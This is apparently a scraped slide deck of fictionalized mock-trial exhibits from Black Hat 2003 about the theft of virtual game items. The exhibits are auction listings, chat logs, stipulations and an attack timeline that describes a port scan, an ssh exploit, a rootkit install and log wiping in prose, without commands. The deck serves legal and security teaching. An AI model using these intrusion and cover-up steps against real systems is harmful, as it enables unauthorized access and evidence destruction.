Government Exhibit 15 -2 Banker Bob is a subsidiary of Fly by Night industries. Banker Bob lets any gamer with an email address securely, conveniently, and cost-effectively send and receive payments online. We deliver a service tailored to the online gamer by tieing in our auction site gameauctions. com. Please see further terms and conditions at http: //www. bankerbob. org

Government Exhibit 16 Thank you for using Banker. Bob. org. The following is the summary of your account for the period August 1 2002 thru September 1 2002 Account No: 155840455 Account Holder: Weasel Opening Balance: $ 200. 00 Ending Balance: $ 1375. 00 Transaction History: Date Item B/S/T/D/W Amount Balance _____________________________________ 08/01/02 08/05/02 08/07/02 08/31/02 Ring of Smoochies 159984085 Bracer of Death Monthly Svc Charge B T B W $ 100. 00 $1500. 00 $ 25. 00 $ 100. 00 $1600. 00 $1400. 00 $1375. 00 Banker Bob is a subsidiary of Fly by Night industries. Banker Bob lets any gamer with an email address securely, conveniently, and cost-effectively send and receive payments online. We deliver a service tailored to the online gamer by tieing in our auction site gameauctions. com. Please see further terms and conditions at http: //www. bankerbob. org

Government Exhibit 17 Timeline of attack ---------intruder system - 10. 194. 143 grace - 192. 168. 192. 102 (grace. ct. af. mil) glsrv - 10. 0. 0. 4 (gettalife game server) Jul 28 2002, from grace: 05: 53: 34 start of NMap port scan from intruder system to grace 05: 53: 44 stop of NMap port scan 06: 00: 02 start of attack against ssh daemon from intruder system against grace 06: 02: 24 successful exploit of ssh daemon 06: 03: 49 ssh connection from intruder system to grace as root 06: 05: 10 intruder downloads rootkit from intruder system to grace 06: 40 intruder starts trying to install rootkit 06: 12: 24 intruder pauses for 3 minutes and 14 seconds 06: 15: 38 intruder resumes rootkit configuration 06: 18: 11 intruder installs rootkit on grace 06: 19: 09 intruder begins removing signs of intrusion from logs 06: 20: 51 intruder removes log entries with ip address of intruder system 06: 21: 24 intruder removes current root session from lastlog 06: 22: 53 intruder attempts to run nmap 06: 25: 23 intruder downloads nmap from intruder system, and begins compilation 06: 29: 24 intruder runs nmap against glsrv 06: 31: 49 intruder connects to glsrv via the gladmin accou

Government Exhibit 17 -2 Jul 28 2002 from glsrv application logs 06: 32: 20 administrative password reset for user jericho 06: 32: 25 administrative save of jericho's character 06: 32: 29 new user named rache created 06: 32: 40 unknown person successfully connects to user jericho, obviously with the new password 06: 32: 45 restore of rache's character using the save file of jericho's character, this makes rache unplayable but still allows access to all of the objects rache now possesses. 06: 34: 04 user profile store on jericho, usually happens after an inventory change in a character 06: 34: 05 user profile store on weasel, which with previous entry suggests an object was given to weasel by jericho 06: 34: 10 user jericho leaves the game 06: 34: 18 password restore on user jericho to previous password (this is a previously unknown command, undocumented, added by the original developer weasel during the original product development) 06: 34: 22 administrative reset of user jericho, which resets him to a state as if he was first created (essentially unclothed and weaponless) 06: 34: 27 user rache connects to system 06: 34: 50 user rache and user terron begin a series of 84 user profile stores, over the next two hours, suggesting a large scale transfer of items Jul 28 2002 from grace: 06: 34: 41 intruder disconnects from glsrv 06: 35: 55 intruder performs secure wiping of downloaded files from grace, but leaves the rootkit installed 06: 39: 20 intruder leaves grace

Government Exhibit 18 Item up for Sale: Game Type: Seller: Auction closes: Opening Bid: Last Bid: Total Bids: Fisor's Rod of Endurance Getta Life Jericho Saturday, August 5 th, 2002 at 8: 15 pm (closed) $500 $2500 by Sandman 14 Description: The Fisor's Rod of Endurance is an uber item dropped by Nerf Master Wilkomm. It is the first one to drop on any Getta life server. It can be used by any class but warrior and it has someincredible stats. You'll have a hard time finding something better than this. You'll want to wrap your hands around this long, stiff shaft and whack the shit out of those mobs. Click on the link for a picture of the item. Be the first one on the block to have it. http: : /members. aol. com/~jericho/Gettalife/staff. jpg Payment can be made through Bankerbob. org or by check. Check must clear before the item is trasferred. Thank you for using Gameauctions. com. Go to http: //gameauctions. com/rules for a list of rules on auctions. Copyright Gameauctions. com. All Rights Reserved.

Government Exhibit 19 [Sat Jan 19 13: 54: 03 2002] Weasel tells the guild, 'Hey. What's up? ' [Sat Jan 19 13: 54: 03 2002] Smoochie tells the guild, 'Hey Weasel? ' [Sat Jan 19 13: 54: 04 2002] Granhor tells the guild, 'WOOT. What's up Weas? ' [Sat Jan 19 13: 55: 19 2002] Weasel tells the guild, 'Just finished working on some new hacker tools? Been at it for 10 hours. Got on for a little break' [Sat Jan 19 13: 55: 14 2002] You tell the guild, 'Sounds like my day. I just got finished taking a nasty Trig test : )' [Sat Jan 19 13: 55: 23 2002] Smoochie tells the guild, 'Trig! You still in High School Ter. Thought you were older? : )' [Sat Jan 19 13: 55: 44 2002] You tell the guild, 'Yeah. I'm in 11 th grade. Does that mean you don't want to date me anymore, Smoochie? : )' [Sat Jan 19 13: 56: 19 2002] Smoochie tells the guild, 'Only if I want to go to jail for dating jail bait' [Sat Jan 19 13: 56: 11 2002] You tell the guild, 'Bite me Smoochie' [Sat Jan 19 13: 56: 13 2002] Weasel tells the guild, 'Jeez Terron. I should send you my hacker tools to play with' [Sat Jan 19 13: 56: 19 2002] You tell the guild, 'What for? ' [Sat Jan 19 13: 59: 04 2002] Weasel tell the guild, 'You can try them out on people and not worry about getting into trouble. They won't throw a kid in jail. You don't have to worry 'bout bein Bubba's bitch : )' [Sat Jan 19 13: 59: 24 2002] Smoochie tell the guild, 'Starting this kid off into crime, Weasel? ' [Sat Jan 19 14: 00: 04 2002] Weasel tells the guild, 'Bah. Just need someone to test my new tools before I release them. No harm, no foul : )' [Sat Jan 19 14: 00: 34 2002] You tell the guild, 'Sure Weasel. Send 'em over. I'll play around with them' [Sat Jan 19 14: 00: 44 2002] Weasel tells the guild, 'You got it. They'll be too you in a few mins. Now, lets go kill some mobs. I need a loooooong break' [Sat Jan 19 14: 01: 05 2002] Smoochie tells the guild, 'I'm up for it. Lets go to the Plane of Attrition. '

Government Exhibit 20 Session begins 14 -July-2002 12: 47: 15 *** terron (~terron@c 199 -10 -10 -10. md 1. cablespeed. com) has joined channel #Weasel_private <weasel> hey terron! <terron> hey weasel =) <weasel> Did you get those tools I sent you? <terron> Yeah. Got them yesterday. I was just looking at them. <weasel> Take a look at the ssh exploit I sent you. Its a 0 -day. You ought to be able to have fun with that. Just keep it private. I'm not supposed to release it to anyone. <terron> No problem bro. I'll keep it under wraps.

Government Exhibit 21 Session begins 28 -July-2002 06: 12: 34 *** terron (~terron@c 143 -194 -10 -10. md 1. cablespeed. com) has joined channel #Weasel_private *** weasel (~weasel@c 199 -99 -10 -10. md 1. cablespeed. com) has joined channel #Weasel_private <weasel> hey terron! <terron> hey weasel =) <weasel> What's up bro? <terron> I'm having trouble building nmrc-lrk 0. 5. <weasel> What's the problem? <terron> The make is dieing. It says it can't find -lfoobar. <weasel> What plaform are you on? <terron> Debian 3. 0 <weasel> Got to line 124 in the makefile and uncomment out the line. That'll add the foobar library. <terron> That worked. Thanx bro <weasel> np

Government Exhibit 22 DISCLAIMER: The following document is a fictionalized testimonial stipulation for the Black Hat 2003 Conference. The witness of the stipulation does not exist, nor was any evidence in this matter gathered. - - - - x | UNITED STATES OF AMERICA, | | -v. | | J. B. WEASEL, | a/k/a “Weasel”, | | | Defendant, | | - - - -x STIPULATION IT IS HEREBY STIPULATED AND AGREED between the United States of America, RICHARD SALGADO, Assistant United States Attorney, of counsel, and the defendant J. B. WEASEL, by his attorney JENNIFER GRANICK, Esq. : If called as a witness, Bert Smith, would testify as follows: 1) 2) 3) 4) He’s the Policy Enforcement officer at Cable. Speed Internet Access (Cablespeed. com) which is located in Backwater, West Virginia. Cable. Speed. com provides high speed internet access to the West Viriginia and Western Virginia area. Internet access is provided by Digital Subscriber Line (DSL) and Dialup-Connection. When a subscriber connects to the Cable. Speed. com backbone, the subscriber is provided with an Internet Protocol (IP) address that is unique to the subscriber during their session Cablespeed. com is assigned the Class B address 10. 0. 0 by the American Registry of Internet Numbers (ARIN) to provide IP addresses for its customers.

Government Exhibit 22 -2 4) 5) 6) Mr. Smith has reviewed the business records maintained by Cablespeed. com for July 28 th , 2002 and determined that IP address 10. 194. 143 was assigned to the computer owned by Mr and Mrs James Denton, 1313 Mockingbird LA, Backwash, West Virginia. Mr. Smith has reviewed the business records maintained by Cablespeed. com for July 28 th , 2002 and determined that IP address 10. 199. 99 was assigned to the computer owned by J. B. Weasel of 47 Squirrel Pass, Palestine, West Virginia. Mr. Smith has reviewed the business records maintained by Cablespeed. com for July 28 th , 2002 and determined that IP address 10. 194. 143 was active through July 28 th and July 29 th, 2002 IT IS FURTHER STIPULATED AND AGREED that this stipulation may be received in evidence as a Government exhibit at trial. Dated: June 1, 2003 By: ______________ RICHARD SALGADO Assistant United States Attorney By: ______________ JENNIFER GRANICK, ESQ. Attorney for J. B. Weasel

Government Exhibit 23 DISCLAIMER: The following document is a fictionalized testimonial stipulation for the Black Hat 2003 Conference. The witness of the stipulation does not exist, nor was any evidence in this matter gathered. - - - - x | UNITED STATES OF AMERICA, | | -v. | | STIPULATION J. B. WEASEL, | a/k/a “Weasel” | | | Defendant, | | - - - - x IT IS HEREBY STIPULATED AND AGREED between the United States of America, RICHARD SALGADO, Assistant United States Attorney, of counsel, and the defendant J. B. WEASEL, by his attorney JENNIFER GRANICK, Esq. : If called as a witness, Jane Collins, would testify as follows: 1) 2) 3) 4) She’s the Chief Game Master for Getta Life, a game owned by Getta Entertainment. She is responsible for all on-line game content for the Getta Life servers. Each player in Getta Life has their own account. On that account, players can create characters. Those characters accumulate in-game items and experience over time. Ms. Collins analyzed the game content as of August 10 th, 2002 as directed by Government Subpoena. She certified that as of August 10 th, 2002, only one Fisor's Rod of Endurance existed on the Getta Life server used by Mr. Weasell, Mr. Bulat and Mr. Martin. Ms. Collins reviewed the in-game items in Mr Weasel’s virtual bank and found a Fisor's Rod of Endurance in one of his backpacks.

Government Exhibit 23 -2 5) Ms. Collins reviewed the game logs and certifies that the Fisor's Rod of Endurance was transferred by a character named “Terron” owned by Ryan Bulat to Mr. Weasel’s character “Weasel” on August 2 nd, 2002. IT IS FURTHER STIPULATED AND AGREED that this stipulation may be received in evidence as a Government exhibit at trial. Dated: June 1, 2003 By: ______________ RICHARD SALGADO Assistant United States Attorney By: _ __________ JENNIFER GRANICK, ESQ. Attorney for J. B. Weasel

Government Exhibit 24 DISCLAIMER: The following document is a fictionalized testimonial stipulation for the Black Hat 2003 Conference. The witness of the stipulation does not exist, nor was any evidence in this matter gathered. - - - - x | UNITED STATES OF AMERICA, | | -v. | | STIPULATION J. B. WEASEL, | a/k/a “Weasel”, | | | Defendant, | | - - - - x IT IS HEREBY STIPULATED AND AGREED between the United States of America, RICHARD SALGADO, Assistant United States Attorney, of counsel, and the defendant J. B. WEASEL, by his attorney JENNIFER GRANICK, Esq. : If called as a witness, Sam Schwartz, would testify as follows: 1) He’s the Webmaster for Bankerbob. org. One of Mr. Schwartz’s responsibilities is to answer government subpoenas. 2) Mr. Schwartz certifies that he produced a transaction summary for the account owned by Brian Martin under the user name “Jericho” for the dates 5/1/2002 – 7/31/2002. Government exhibit 13 is a printout of the transaction history of user Jericho. 3) Mr. Schwartz certifies that he produced a transaction summary for the account owned by J. B. Weasel under the user name “Weasel” for the dates 8/1/2002 – 8/31/2002. Government exhibit 15 is a printout of the transaction history for user Weasel.

Government Exhibit 24 -2 4) 5) Mr. Schwartz certifies that he produced a transaction summary for the account owned by Ryan Bulat under the user name “Terron” for the dates 8/1/2002 – 8/31/2002. Government exhibit 14 is a printout of the transaction summary for user Terron. Mr. Schwartz will testify that on or around July 19, 2002, a server crash at bankerbob. org wiped out most of the registration records and that the records for Mr. Bulat, Mr. Martin and Mr. Weasel were lost. IT IS FURTHER STIPULATED AND AGREED that this stipulation and Government Exhibits 13 through 15 may be received in evidence as Government exhibits at trial. Dated: June 1, 2003 By: ______________ RICHARD SALGADO Assistant United States Attorney By: ______________ JENNIFER GRANICK, ESQ. Attorney for J. B. Weasel

Government Exhibit 25 Listing of /home/weasel/hackertools: drwxr-xr-x -rw-r--r--rwxr-xr-x -r---r-- 2 root 1 root root 4096 Jul 26 2002 nmap-3. 27 1087176 Jul 26 2002 nmap-3. 27. tgz 4096 Jul 26 2002 nmrc-lrk 0. 5 2306052 Jul 26 2002 nmrc-lrk 0. 5. tgz 219932 Jul 26 2002 sshnuke 3102 Jul 26 2002 sshnuke. txt

Government Exhibit 26 Item up for Sale: Game Type: Seller: Auction closes: Opening Bid: Last Bid: Total Bids: Lvl 48 Monk Getta Life Doofus Tuesday, July 9, 2002 at 4: 11 pm $900 $2200 by Jalopy 12 Description: Lvl 48 Monk with Fist. Wraps of Speed. Fully geared. At least 150 to the top four stats. Payment can be made through Bankerbob. org or by check. Check must clear beforethe character is trasferred. Thank you for using Gameauctions. com. Go to http: //gameauctions. com/rules for a list of rules on auctions. Copyright Gameauctions. com. All Rights Reserved.

Government Exhibit 27 Item up for Sale: Game Type: Seller: Auction closes: Opening Bid: Last Bid: Total Bids: Lvl 45 Wizard Getta Life Crazy. Horse Wednesday, June 19, 2002 at 3: 53 am $300 $1400 by Casterd 00 d 10 Description: Lvl 45 Wizard. I have 1/2 of the Great Staff of Conjuring. I've got ok equipment (200 int, but the other stats are a little low). Only take payments made through Bankerbob. org. Thank you for using Gameauctions. com. Go to http: //gameauctions. com/rules for a list of rules on auctions. Copyright Gameauctions. com. All Rights Reserved.

Government Exhibit 28 Item up for Sale: Game Type: Seller: Auction closes: Opening Bid: Last Bid: Total Bids: Lvl 50 Warrior Getta Life Hammerhead Sunday, June 1, 2002 at 2: 01 pm $1400 $3000 by Grossout 23 Description: I have a Lvl 50 Warrior complete with the Hammer of Smashing and the Sword of Death. I'm at least 200 in the top four stats and have 40, 000 platinum coins in the bank. This is an awesome character. I'm considered the top warrior on the server. I've decided to play Star Wars instead, so I want this character to go to a warrior lover. Payment can be made by check or money order. Thank you for using Gameauctions. com. Go to http: //gameauctions. com/rules for a list of rules on auctions. Copyright Gameauctions. com. All Rights Reserved.

Government Exhibit 29 Item up for Sale: Game Type: Seller: Auction closes: Opening Bid: Last Bid: Total Bids: Lvl 20 Wizard Getta Life Fishbait Tuesday, May 21, 2002 at 12: 05 am $100 $200 by Grossman 4 Description: Lvl 20 Wizard. I have ok equipment and good int. Haven't started the Staff of Conjuring quest yet. Payment can be made through Bankerbob. org or by check. Check must clear before the character is trasferred. Thank you for using Gameauctions. com. Go to http: //gameauctions. com/rules for a list of rules on auctions. Copyright Gameauctions. com. All Rights Reserved.

Government Exhibit 30 Item up for Sale: Game Type: Seller: Auction closes: Opening Bid: Last Bid: Total Bids: Lvl 50 Enchanter Getta Life Smokeand. Mirrors Thursday, May 31, 2002 at 3: 11 pm $1500 $4000 by Taolin 25 Description: I have a lvl 50 Enchanter with both the Illusionists bowl and the Illusionists Mask. I have at least 250 int and 100, 000 platinum coins in the bank. You won't find a better enchanter anywhere. Step right up and get this uber guy. You know you want it. Payment can be made through Bankerbob. org or by check, money order or Visa. . Thank you for using Gameauctions. com. Go to http: //gameauctions. com/rules for a list of rules on auctions. Copyright Gameauctions. com. All Rights Reserved.

Government Exhibit 31 A The Hyper. Stage Institute A Center for the Study of Synthetic Worlds Home State University Office of the Director July 28, 2003 To whom it may concern: I have conducted an analysis of the transactions submitted as evidence in the case of United States versus J. B. Weasel and have come to the following conclusions. 1) 2) 3) 4) 5) • • The auction activity and financial transactions involving Getta. Life characters and equipment is normal for a synthetic world of that size. The market at Gameauctions. com is active and robust. There is no evidence of market failure (lack of buyers or sellers, market controls, wildly fluctuating prices). It appears to function like the larger site Ebay. com. The financial services provided Banker. Bob. org also appear normal and well-run. Bank. Bob. org provides services comparable to the larger site Pay. Pal. com. A number of items that appeared to have been purchased at the site Gameauctions. com by the account holder Jericho were later sold on that site by the account holder Terron. The value of equipment when purchased by Jericho was $2, 995. When sold by Terron, the equipment had a value of $3, 000. A Fisor’s Staff of Endurance was listed for sale by Jerricho and the auction was completed, with the highest bid being $2500. An analysis of character auction data from Getta. Life reveals that each level added to a character adds about $48 to the value of the character. An analysis of similar synthetic worlds suggest similar level values. Together, the information suggests that the Getta. Life account held by Jericho had at least the following total open market value (assuming lowest values): 50 levels at $48 each $2400 Ordinary Equipment $2995 Fisor’s Staff of Endurance $2500 TOTAL: $7895

Government Exhibit 31 A-2 Thus, in my opinion, the account held by Jericho in late July 2002 had an economic value of at least $7, 895. Edward Castronova, Ph. D Professor of Economics Director, the Hyper. Stage Institute

Government Exhibit 31 B The Hyper. Stage Institute A Center for the Study of Synthetic Worlds Home State University Office of the Director July 28, 2003 To whom it may concern: I have conducted an analysis of the transactions submitted as evidence in the case of United States versus J. B. Weasel and have come to the following conclusions. 1) 2) 3) The auction activity and financial transactions involving Getta. Life characters and equipment is normal for a synthetic world of that size. The market at Gameauctions. com is active and robust. There is no evidence of market failure (lack of buyers or sellers, market controls, wildly fluctuating prices). It appears to function like the larger site Ebay. com. The financial services provided Banker. Bob also appear normal and well-run. Banker. Bob. org provides services comparable to the larger site Pay. Pal. com. A number of items that appeared to have been purchased at the site Gameauctions. com by the account holder Jerricho were later sold on that site by the account holder Terron. The value of equipment when purchased by Jerricho was $2, 995. When sold by Terron, the equipment had a value of $3, 000. . A Fisor's Staff of Endurance $2500 TOTAL: $5500 Thus, in my opinion, the account held by Jericho in late July 2002 had an economic value of at least $5, 500. Edward Castronova, Ph. D Professor of Economic Director, The Hyper. Stage Institute

Defense Exhibit 1 [Tue Jul 02 10: 54: 03 2002] Guild Message of the Day - Weasel - Nerf Master Wilkomm raid at Midnight , July 4 th. Plan on a 5 hour encounter. [Tue Jul 02 10: 54: 03 2002] You tell the guild, 'Hope everyone is ready for Nerf Master Wilkomm on Thursday. He's the last mob boss. We beat him, we own the game' [Tue Jul 02 10: 54: 04 2002] Granhor tells the guild, 'WOOT. We're going to kick Wilkomm's ass' [Tue Jul 02 10: 55: 02 2002] Terron tells the guild, 'Hope that loser Jericho isn't there. He's such an ebaying assclown' [Tue Jul 02 10: 55: 14 2002] You tell the guild, 'If he's smart (which he isn't), he won't. ' [Tue Jul 02 10: 55: 23 2002] Smoochie tells the guild, 'He still bugging you? ' [Tue Jul 02 10: 55: 44 2002] You tell the guild, 'I hate guys who buy their accounts. I've always been a fir m believer in playing the game right' [Tue Jul 02 10: 56: 02 2002] Fred tells the guild, 'Is that why you left Getta? ' [Tue Jul 02 10: 56: 11 2002] You tell the guild, 'Yeah. That Assclown Baggins was ruining the game. He tried to attach money to everything. I didn't want to hang around and watch him ruin it all : (' [Tue Jul 02 10: 56: 13 2002] Terron tells the guild, 'Baggins is such a tool. He needs to be fragged' [Tue Jul 02 10: 56: 19 2002] You tell the guild, 'Forget Baggins and Jericho. We need to concentrate on Wilkomm. We need to meet up on time and be ready. Its going to be a rough raid' [Tue Jul 02 10: 59: 04 2002] Smoochie tell the guild, 'You guys check out bankerbob. org. Really cool website. Found all kinds of stuff to get. LOL' [Tue Jul 02 10: 59: 24 2002] Killem tell the guild, 'Shhhhhh. You know how Weasel feels about sites like that. . /duck' [Tue Jul 02 11: 00: 04 2002] You tell the guild, 'Bah. bankerbob. org. That's just another Baggins idea to raise money. Few people know he owns Fly by Night industries. He's wrecking the game. I'd never buy my stuff. You gotta earn it' [Tue Jul 02 11: 00: 34 2002] Killem tell the guild, 'Aww come on, it ain't too bad. Sometimes I don't want to spend weeks camping an item. I'll admit, I bought a couple things there' [Tue Jul 02 11: 00: 44 2002] Terron tells the guild, 'I've used it too' [Tue Jul 02 11: 05 2002] You tell the guild, 'I wish Bankerbob and Baggins never existed. Its destroying my game. I was a major force in creating. Baggins is a tool'

Defense Exhibit 2 Session begins 14 -Mar-2002 20: 42: 02 *** weasel (~weasel@c 199 -44 -10 -10. md 1. cablespeed. com) has joined channel #Weasel_private *** terron (~terron@c 104 -14 -10 -10. md 1. cablespeed. com) has joined channel #Weasel_private <weasel> Hey Terron, What's shaking? <terron> rar <terron> Not much. You going to be on the raid later? <weasel> Yeah. I'm just messing around with some new tools I got. <terron> Doh. I forgot I wanted to ask you something? <weasel> Shoot <terron> I was trying to compile fizbin-0. 9 and I ran into some problems. Think you can help me with it? <weasel> Sure. What problems are you having? <terron> Too many to count. I've got a log of the compile errors. I can mail them to you and have you take a look at them. <weasel> Yeah. I'm not really doing much til the raid. Send em over. <terron> Cool. Thanx

Скачать презентацию Government Exhibit 1 Tue Jul 01 00 54

dbc64c2e06fbebfcc37b17f67ea292c3.ppt

Количество слайдов: 47